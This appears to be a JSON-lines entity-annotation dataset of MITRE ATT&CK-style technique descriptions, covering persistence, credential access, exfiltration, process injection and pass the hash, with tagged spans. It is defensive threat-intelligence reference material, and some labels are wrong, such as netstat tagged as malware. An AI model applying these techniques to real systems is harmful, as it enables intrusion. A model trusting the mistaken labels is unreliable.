+{"text": "Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as <code>pastebin[.]com</code>, are commonly used by developers to share code and other information.  \n\nText storage sites are often used to host malicious code for C2 communication (e.g., Stage Capabilities), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.\n\n**Note:** This is distinct from Exfiltration to Code Repository, which highlight access to code repositories via APIs.", "spans": {}, "info": {"source": "apt_reports", "name": "Exfiltration to Text Storage Sites"}}
+{"text": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping.  Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. \n\nIn cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.", "spans": {"SYSTEM: Windows": [[526, 533]], "SYSTEM: Group Policy": [[487, 499]]}, "info": {"source": "apt_reports", "name": "Credentials in Files"}}
+{"text": "Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Additionally, adversaries may analyze metadata from victim-owned files (e.g., PDFs, DOCs, images, and sound files hosted on victim-owned websites) to extract information about the software and hardware used to create or process those files. Metadata may reveal software versions, configurations, or timestamps that indicate outdated or vulnerable software. This information can be cross-referenced with known CVEs to identify potential vectors for exploitation in future operations.\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or for initial access (ex: Supply Chain Compromise or External Remote Services).", "spans": {}, "info": {"source": "apt_reports", "name": "Software"}}
+{"text": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.  The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. \n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs.", "spans": {"THREAT_ACTOR: Cobalt": [[758, 764]], "TOOL: Cobalt Strike": [[758, 771]], "SYSTEM: Windows": [[295, 302]], "SYSTEM: VPN": [[683, 686]], "ORGANIZATION: Microsoft": [[335, 344]], "MALWARE: netsh": [[252, 257], [380, 385], [472, 477], [614, 619], [708, 713], [788, 793]]}, "info": {"source": "apt_reports", "name": "Netsh Helper DLL"}}
+{"text": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).", "spans": {}, "info": {"source": "apt_reports", "name": "Input Capture"}}
+{"text": "Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on User Execution for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools (Remote Access Tools) onto their computer.\n\nAdversaries may also combine voice phishing with Multi-Factor Authentication Request Generation in order to trick users into divulging MFA credentials or accepting authentication prompts.", "spans": {"VULNERABILITY: spearphishing": [[131, 144], [182, 195]], "VULNERABILITY: phishing": [[537, 545], [762, 770], [1025, 1033]]}, "info": {"source": "apt_reports", "name": "Spearphishing Voice"}}
+{"text": "Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits. Adversaries may use information acquired via Vulnerabilities to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Defense Evasion, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).", "spans": {}, "info": {"source": "apt_reports", "name": "Exploits"}}
+{"text": "Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).", "spans": {}, "info": {"source": "apt_reports", "name": "Social Media"}}
+{"text": "Adversaries may leverage Customer Relationship Management (CRM) software to mine valuable information. CRM software is used to assist organizations in tracking and managing customer interactions, as well as storing customer data.\n\nOnce adversaries gain access to a victim organization, they may mine CRM software for customer data. This may include personally identifiable information (PII) such as full names, emails, phone numbers, and addresses, as well as additional details such as purchase histories and IT support interactions. By collecting this data, an adversary may be able to send personalized Phishing emails, engage in SIM swapping, or otherwise target the organization’s customers in ways that enable financial gain or the compromise of additional organizations.\n\nCRM software may be hosted on-premises or in the cloud. Information stored in these solutions may vary based on the specific instance or environment. Examples of CRM software include Microsoft Dynamics 365, Salesforce, Zoho, Zendesk, and HubSpot.", "spans": {"SYSTEM: Zoho": [[998, 1002]], "SYSTEM: Salesforce": [[986, 996]], "ORGANIZATION: Microsoft": [[962, 971]]}, "info": {"source": "apt_reports", "name": "Customer Relationship Management Software"}}
+{"text": "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.  References to various COM objects are stored in the Registry. \n\nAdversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. \n\nOne variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the \"script:\" moniker to execute remote scripts hosted on external servers. This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.", "spans": {"TOOL: replace": [[575, 582]], "SYSTEM: Windows": [[166, 173]], "VULNERABILITY: COM hijacking": [[1073, 1086], [1374, 1387]]}, "info": {"source": "apt_reports", "name": "Component Object Model Hijacking"}}
+{"text": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.  Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).\n\nCredential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).", "spans": {"SYSTEM: Telegram": [[1044, 1052]]}, "info": {"source": "apt_reports", "name": "Credentials"}}
+{"text": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.", "spans": {}, "info": {"source": "apt_reports", "name": "Compromise Software Supply Chain"}}
+{"text": "Adversaries may rename legitimate / system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for legitimate utilities adversaries are capable of abusing, including both built-in binaries and tools such as PSExec, AutoHotKey, and IronPython. It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename <code>rundll32.exe</code>). An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on these utilities executing from non-standard paths.", "spans": {"TOOL: rundll32": [[455, 463]]}, "info": {"source": "apt_reports", "name": "Rename Legitimate Utilities"}}
+{"text": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "spans": {"ORGANIZATION: Google": [[973, 979]]}, "info": {"source": "apt_reports", "name": "Bidirectional Communication"}}
+{"text": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through Phishing. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.", "spans": {"SYSTEM: Microsoft Office": [[1205, 1221], [1977, 1993]], "SYSTEM: Adobe Reader": [[1622, 1634]], "ORGANIZATION: Microsoft": [[1205, 1214], [1977, 1986]], "VULNERABILITY: code execution": [[318, 332], [433, 447]], "VULNERABILITY: spearphishing": [[962, 975]], "VULNERABILITY: arbitrary code execution": [[308, 332]]}, "info": {"source": "apt_reports", "name": "Exploitation for Client Execution"}}
+{"text": "Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to Brute Force, its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: Gather Victim Org Information, or Search Victim-Owned Websites).\n\nFor example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories. This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: Exploit Public-Facing Application or Brute Force).  \n\nAs cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure. Once storage objects are discovered, adversaries may leverage Data from Cloud Storage to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.", "spans": {"TOOL: DirBuster": [[664, 673]]}, "info": {"source": "apt_reports", "name": "Wordlist Scanning"}}
+{"text": "Adversaries may flood targeted email addresses with an overwhelming volume of messages. This may bury legitimate emails in a flood of spam and disrupt business operations.\n\nAn adversary may accomplish email bombing by leveraging an automated bot to register a targeted address for e-mail lists that do not validate new signups, such as online newsletters. The result can be a wave of thousands of e-mails that effectively overloads the victim’s inbox.\n\nBy sending hundreds or thousands of e-mails in quick succession, adversaries may successfully divert attention away from and bury legitimate messages including security alerts, daily business processes like help desk tickets and client correspondence, or ongoing scams. This behavior can also be used as a tool of harassment.\n\nThis behavior may be a precursor for Spearphishing Voice. For example, an adversary may email bomb a target and then follow up with a phone call to fraudulently offer assistance. This social engineering may lead to the use of Remote Access Software to steal credentials, deploy ransomware, conduct Financial Theft, or engage in other malicious activity.", "spans": {}, "info": {"source": "apt_reports", "name": "Email Bombing"}}
+{"text": "Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders’ awareness of malicious activity. Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.\n\nRather than or in addition to Indicator Blocking, an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., Disable or Modify Tools). An adversary can also present a “healthy” system status even after infection. This can be abused to enable further malicious activity by delaying defender responses.\n\nFor example, adversaries may show a fake Windows Security GUI and tray icon with a “healthy” system status after Windows Defender and other system tools have been disabled.", "spans": {"SYSTEM: Windows Defender": [[964, 980]], "SYSTEM: Windows": [[892, 899], [964, 971]]}, "info": {"source": "apt_reports", "name": "Spoof Security Alerting"}}
+{"text": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.\n\nOnce malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.", "spans": {"SYSTEM: Outlook": [[32, 39], [107, 114], [183, 190], [383, 390], [493, 500], [562, 569]], "SYSTEM: Microsoft Outlook": [[22, 39]], "ORGANIZATION: Microsoft": [[22, 31]]}, "info": {"source": "apt_reports", "name": "Outlook Home Page"}}
+{"text": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.", "spans": {"ORGANIZATION: RSA": [[611, 614]]}, "info": {"source": "apt_reports", "name": "Asymmetric Cryptography"}}
+{"text": "Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.", "spans": {"ORGANIZATION: Google": [[303, 309]]}, "info": {"source": "apt_reports", "name": "Exfiltration to Cloud Storage"}}
+{"text": "Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., Ingress Tool Transfer) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.\n\nAdversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB/Windows Admin Shares to connected network shares or with authenticated connections via Remote Desktop Protocol.\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and ftp. In some cases, adversaries may be able to leverage Web Services such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.", "spans": {"TOOL: ftp": [[685, 688]], "TOOL: curl": [[669, 673]], "TOOL: Remote Desktop Protocol": [[531, 554]], "SYSTEM: SMB": [[440, 443]], "SYSTEM: Windows": [[444, 451]]}, "info": {"source": "apt_reports", "name": "Lateral Tool Transfer"}}
+{"text": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths  and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>).  (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program.  \n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.", "spans": {"FILEPATH: C:\\unsafe": [[476, 485]], "FILEPATH: C:\\safe": [[532, 539]], "FILEPATH: C:\\program": [[816, 826]], "FILEPATH: C:\\program.exe": [[894, 908]], "SYSTEM: Windows": [[250, 257], [590, 597], [695, 702]], "VULNERABILITY: privilege escalation": [[1069, 1089]]}, "info": {"source": "apt_reports", "name": "Path Interception by Unquoted Path"}}
+{"text": "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see Digital Certificates) or create self-signed certificates (see Digital Certificates). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).", "spans": {}, "info": {"source": "apt_reports", "name": "Install Digital Certificate"}}
+{"text": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron,  at,  and launchd.  Unlike Scheduled Task/Job on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files.  This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence,     to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to Launch Daemon or Launch Agent, except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values.  This only works on macOS and OS X.", "spans": {"FILEPATH: /etc/crontab</code>": [[406, 425]], "FILEPATH: /etc/cron.d/</code>": [[438, 457]], "TOOL: SSH": [[334, 337]], "SYSTEM: macOS": [[13, 18], [628, 633], [1119, 1124], [1535, 1540]], "SYSTEM: Windows": [[171, 178]], "SYSTEM: Linux": [[3, 8], [206, 211], [638, 643], [1129, 1134]]}, "info": {"source": "apt_reports", "name": "Local Job Scheduling"}}
+{"text": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively  . Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future  .", "spans": {"SYSTEM: macOS": [[51, 56]], "SYSTEM: Linux": [[42, 47]]}, "info": {"source": "apt_reports", "name": "Setuid and Setgid"}}
+{"text": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.\n\nThis is technically a deprecated technology (superseded by Launch Daemon), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism. Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.", "spans": {"SYSTEM: macOS": [[570, 575], [940, 945]]}, "info": {"source": "apt_reports", "name": "Startup Items"}}
+{"text": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). \n\nWeb shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.", "spans": {"MALWARE: China Chopper": [[417, 430]]}, "info": {"source": "apt_reports", "name": "Web Shell"}}
+{"text": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations.  To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened.  To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. \n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. \n\nAdversaries may leverage TxF to a perform a file-less variation of Process Injection called Process Doppelgänging. Similar to Process Hollowing, Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. \n\nProcess Doppelgänging is implemented in 4 steps :\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.", "spans": {"SYSTEM: Windows 10": [[615, 625]], "SYSTEM: Windows": [[0, 7], [615, 622]]}, "info": {"source": "apt_reports", "name": "Process Doppelgänging"}}
+{"text": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.    Compromising the SSH agent also provides access to intercept SSH credentials. \n\nSSH Hijacking differs from use of Remote Services because it injects into an existing SSH session rather than creating a new session using Valid Accounts.", "spans": {"TOOL: SSH": [[14, 17], [438, 441], [546, 549], [668, 671], [720, 723], [764, 767], [783, 786], [869, 872]], "SYSTEM: macOS": [[69, 74]], "SYSTEM: Linux": [[59, 64]]}, "info": {"source": "apt_reports", "name": "SSH Hijacking"}}
+{"text": "Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Query Registry and calls to Native API functions. \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language</code> or parsing the outputs of Windows API functions <code>GetUserDefaultUILanguage</code>, <code>GetSystemDefaultUILanguage</code>, <code>GetKeyboardLayoutList</code> and <code>GetUserDefaultLangID</code>.\n\nOn a macOS or Linux system, adversaries may query <code>locale</code> to retrieve the value of the <code>$LANG</code> environment variable.", "spans": {"SYSTEM: macOS": [[1169, 1174]], "SYSTEM: Windows": [[781, 788], [987, 994]], "SYSTEM: Linux": [[1178, 1183]]}, "info": {"source": "apt_reports", "name": "System Language Discovery"}}
+{"text": "Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts. However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nIn ESXi environments, adversaries may leverage the Virtual Machine Communication Interface (VMCI) for communication between guest virtual machines and the ESXi host. This traffic is similar to client-server communications on traditional network sockets but is localized to the physical machine running the ESXi host, meaning it does not traverse external networks (routers, switches). This results in communications that are invisible to external monitoring and standard networking tools like tcpdump, netstat, nmap, and Wireshark. By adding a VMCI backdoor to a compromised ESXi host, adversaries may persistently regain access from any guest VM to the compromised ESXi host’s backdoor, regardless of network segmentation or firewall rules in place.", "spans": {"TOOL: Wireshark": [[1329, 1338]], "SYSTEM: ESXi": [[811, 815], [963, 967], [1114, 1118], [1383, 1387], [1474, 1478]], "MALWARE: netstat": [[1310, 1317]]}, "info": {"source": "apt_reports", "name": "Non-Application Layer Protocol"}}
+{"text": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.", "spans": {"SYSTEM: Windows": [[553, 560]], "SYSTEM: Windows 7": [[553, 562]]}, "info": {"source": "apt_reports", "name": "Pass the Hash"}}
+{"text": "Adversaries may abuse built-in CLI tools or API calls to execute malicious commands in containerized environments.\n\nThe Docker CLI is used for managing containers via an exposed API point from the `dockerd` daemon. Some common examples of Docker CLI include Docker Desktop CLI and Docker Compose, but users are also able to use SDKs to interact with the API. For example, Docker SDK for Python can be used to run commands within a Python application.\n\nAdversaries may leverage the Docker CLI, API, or SDK to pull or build Docker images (i.e., Ingress Tool Transfer, Build Image on Host), run containers (i.e., Deploy Container), or execute commands inside running containers (i.e., Container Administration Command). In some cases, threat actors may pull legitimate images that include scripts or tools that they can leverage - for example, using an image that includes the `curl` command to download payloads. Adversaries may also utilize `docker inspect` and `docker ps` to scan for cloud environment variables and other running containers (i.e., Container and Resource Discovery).\n\nKubernetes is responsible for the management and orchestration of containers across clusters. The Kubernetes control plane, which manages the state of the cluster and is responsible for scheduling, communication, and resource monitoring, can be invoked directly via the API or indirectly via CLI tools such as `kubectl`. It may also be accessed within client libraries such as Go or Python. By utilizing the API, administrators can interact with resources within the cluster such as listing or creating pods, which is a group of one or more containers. Adversaries call the API server via `curl` or other tools, allowing them to obtain further information about the environment such as pods, deployments, daemonsets, namespaces, or sysvars. They may also run various commands regarding resource management.", "spans": {"TOOL: curl": [[875, 879], [1675, 1679]], "SYSTEM: Kubernetes": [[1085, 1095], [1183, 1193]], "SYSTEM: Docker": [[120, 126], [239, 245], [258, 264], [281, 287], [372, 378], [481, 487], [522, 528]], "SYSTEM: Python": [[387, 393], [431, 437], [1468, 1474]], "SYSTEM: Go": 